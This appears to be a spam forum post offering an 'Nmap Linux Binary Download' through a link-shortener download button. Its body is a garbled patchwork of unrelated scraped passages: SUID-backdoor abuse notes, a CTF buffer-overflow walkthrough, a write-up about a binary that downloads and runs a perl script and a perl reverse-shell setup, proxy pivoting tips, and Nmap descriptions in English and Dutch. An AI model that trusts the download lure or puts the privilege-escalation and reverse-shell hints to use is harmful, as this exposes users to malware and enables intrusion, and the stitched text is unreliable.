Nmap Linux Binary Download

0 views
Skip to first unread message

Argelia Fernandez

unread,
Jul 22, 2024, 8:25:42 AM7/22/24
to fuzcariba

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (

nmap linux binary download


Download Zip ••• https://urluss.com/2zDgIm



This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via system()-like invocations) it only works on systems like Debian (

While people have created AWS Lambda based scanners, such as AWS-SCAN and Better-AWS-SCAN which make use of "python-nmap", I wanted to see if I could get the "real" Nmap running in AWS Lambda having recently created a Slack bot that runs PhantomJS in Lambda.

Using the code and steps in my previous PhantomJS blog post, and simply replacing the PhantomJS binary with an Nmap binary resulted in dependency issues, which I was able to resolve by using a statically compiled version of Nmap found here: -d/static-binaries/tree/master/binaries/linux/x86_64.

Next up was an "Unable to find nmap-services! Resorting to /etc/services" error/warning... which makes sense, just because the binary's static doesn't make all of its files required for running are included. Using "strace" it was easy to see what it was looking for:

All I had to do was move the binary (currently in my "/tmp" directory on my local machine) in to a "bin" directory and copy the files in "/usr/share/nmap/" to "/tmp/share" and all worked fine (again, just locally).

I also had to copy the "bin" and "share" directories in to the code directory (making sure to "chmod +x bin/nmap") before zipping up the Lambda code - and increasing the Lambda timeout from 3 seconds to a more reasonable duration - giving me Nmap running in Lambda :)

We're looking to enable logging of binary execution or cli history, much like we can do in Linux using auditd. I've read about support engineers using auditd for troubleshooting purposes and while we can certainly enable auditd rules to catpure binary executions in the auditd logs, I haven't seen anything mention using this on a consistent basis.

I'm sure some folks are asking, "Why?" but in our testing we found that it is possible for an attacker to copy nmap to the device and from there start scanning the network. We'd also like to log if/when someone launches, say, tcpdump for instance.

Sometimes when you try to use a command and Bash displays the "Command not found" error, it might be because the program is not installed on your system. Correct this by installing a software package containing the command. For example, if you don't have Nmap installed, then the nmap command fails when you type it into a terminal:

With your binary at hand, you can now create a new ability YML file inside the Access plugin (plugins/access/data/abilities/*).Select the correct tactic directory (or create one if one does not exist). Here is what the YML file looks like forthe scanner.sh binary:

While Nmap has grown in functionality over the years, it began as an efficient port scanner, and that remains its core function. The simple command nmap target scans 1,000 TCP ports on the host target. While many port scanners have traditionally lumped all ports into the open or closed states, Nmap is much more granular. It divides ports into six states: open, closed, filtered, unfiltered, openfiltered, or closedfiltered.

What I did in a previous life was to carefully edit an executable to replace strings (the replacement must be shorter, fill up with zero characters!), using a binary editor (e.g. hexl-mode in emacs/xemacs).

The 1st involves creating a link in the location that has been hardcoded into the executable. So in your example a link would need to be created at /usr/share/nmap/ re-pointing to whatever other location you want. This approach will require root privileges and will necessitate the use of symbolic links at this location.

So this is the binary that simply rebooted the machine. What is weird though is that this r00t binary was in door1/ prior to the reboot. I continued to check out the other binaries, when suddenly the folder containing all of the files disappeared and reappeared. After this all of the r00t binaries were shuffled around again.

This was only a minor annoyance and I had enough time to check out the binaries using od to figure out which one I should be looking at. The other binary that would have been a problem appears to chmod /bin/ls so that it becomes unusable. Lucky I missed that one.

I copied the binary of interest to /tmp so that I wont be bothered by the shuffling thing that was going on again. Most importantly the one of interest was slightly bigger in size compared to the others so it was easy to identify it apart from the others.

Wups, segfault. You will find that this is probably because the location of our EGG in memory did not compensate for the length of the binary name. Our binary is called r00t, which is 4 chars long, so maybe we need to move the location of our EGG up with up to 4 bytes. For demonstration purposes I am going to show all the attempts for each byte:

Another segmentation fault! This time we seem to be waaaaaaaay off too. This is because of the PWD changing so drastically. To fix this, we simply rerun our findegg program and compensate for the binary name. When completing this, I had a successful run as follows:

The "forensics" seems to be just exiftool output. Exiftool is a command line program so chances are the app also uses direct linux commands to generate the result. Let's play with the file upload a bit. Upload some jpeg image on the form again, but this time intercept the request with Burpsuite

Ghidra actually does a pretty good job on displaying the c-code. The app requires 3 params (binary-name included) and last param must be 'lDnxUysaQn'. Then it takes the output of the second param, uses that as an url on curl-command, runs the output with perl and cleans up after that. In other words, it downloads and executes a perl-script.Let's setup a perl reverse shell on our local machine:

Nmap ("Network Mapper") is a free and open source(license) utility fornetwork discovery and security auditing. Many systems and networkadministrators also find it useful for tasks such as networkinventory, managing service upgrade schedules, and monitoring host orservice uptime. Nmap uses raw IP packets in novel ways to determinewhat hosts are available on the network, what services (applicationname and version) those hosts are offering, what operating systems(and OS versions) they are running, what type of packetfilters/firewalls are in use, and dozens of other characteristics. Itwas designed to rapidly scan large networks, but works fine againstsingle hosts. Nmap runs on all major computer operating systems, andofficial binary packages are available for Linux, Windows, and Mac OSX. In addition to the classic command-line Nmap executable, the Nmapsuite includes an advanced GUI and results viewer(Zenmap), a flexible datatransfer, redirection, and debugging tool(Ncat), a utility forcomparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

Now to find the final key. For this, I needed root permissions on the box. A quick scan for any binary files with the SUID bit set which I could exploit returned the following list. See if you can spot the one I exploited.

python-nmap is a python library which helps in using nmap port scanner. It allows to easilly manipulate nmap scan results and will be a perfect tool for systems administrators who want to automatize scanning task and reports. It also supports nmap script outputs.

As with SSH (do you remember nmap output for port 2222 ?), part of the description has been changed ([-xenial-] >> [+nightmare+]) but the version 4.8.0-58-generic #6316.04.1-Ubuntu SMP Mon Jun 26 18:08:51 is still enough to find a kernel exploit with google.

Ncat is a good proxy tool from the nmap project, but netcat relays are the least reliable method mentioned here. They may work only for a single request before having to be re-established (or establishing them in a loop on the target machine), and will not work on more than a single port. However, sometimes netcat is all you can use.

One additional proxy tool I will mention under this category is 3proxy, a swiss army knife of a proxy with tons of options. Unfortunately, for linux hosts you will need to build a static binary to deploy (or attempt to build on the target), so is a little less simple to get running.

Nmap is een programma voor het verkennen en controleren van een netwerk. Het is ontworpen om zonder vertragingen een groot netwerk te scannen en werkt ook zonder problemen op een enkele host. Het programma maakt gebruik van 'raw ip packets' om actieve hosts en informatie over de beschikbare services te achterhalen. Het wordt gebundeld met NSE, waarmee je scripts kunt gebruiken voor het detecteren van beveiligingslekken, wat idee betreft vergelijkbaar met Nessus of OpenVAS. Daarnaast wordt het gebundeld met Zenmap, waarmee een visuele topologie van de gedetecteerde netwerkomgeving gegenereerd wordt, en met Ncat, waarmee je netwerkverkeer kunt onderscheppen, analyseren, aanpassen enzovoort. Meer informatie over de mogelijkheden is te vinden op deze pagina. De ontwikkelaars hebben Nmap 7.70 uitgebracht, voorzien van de volgende aankondiging op de mailinglijst:

Besides the standard command-line Nmap executable, the Nmap suite also comes with an intuitive graphical user interface (GUI), Zenmap results viewer, a command-line tool for reading, writing, redirecting, and encrypting data across a network called Ncat, a tool to aid in the comparisons named Ndiff, and a tool for network packet generation and response analysis going by the name Nping.

760c119bf3
Reply all
Reply to author
Forward
0 new messages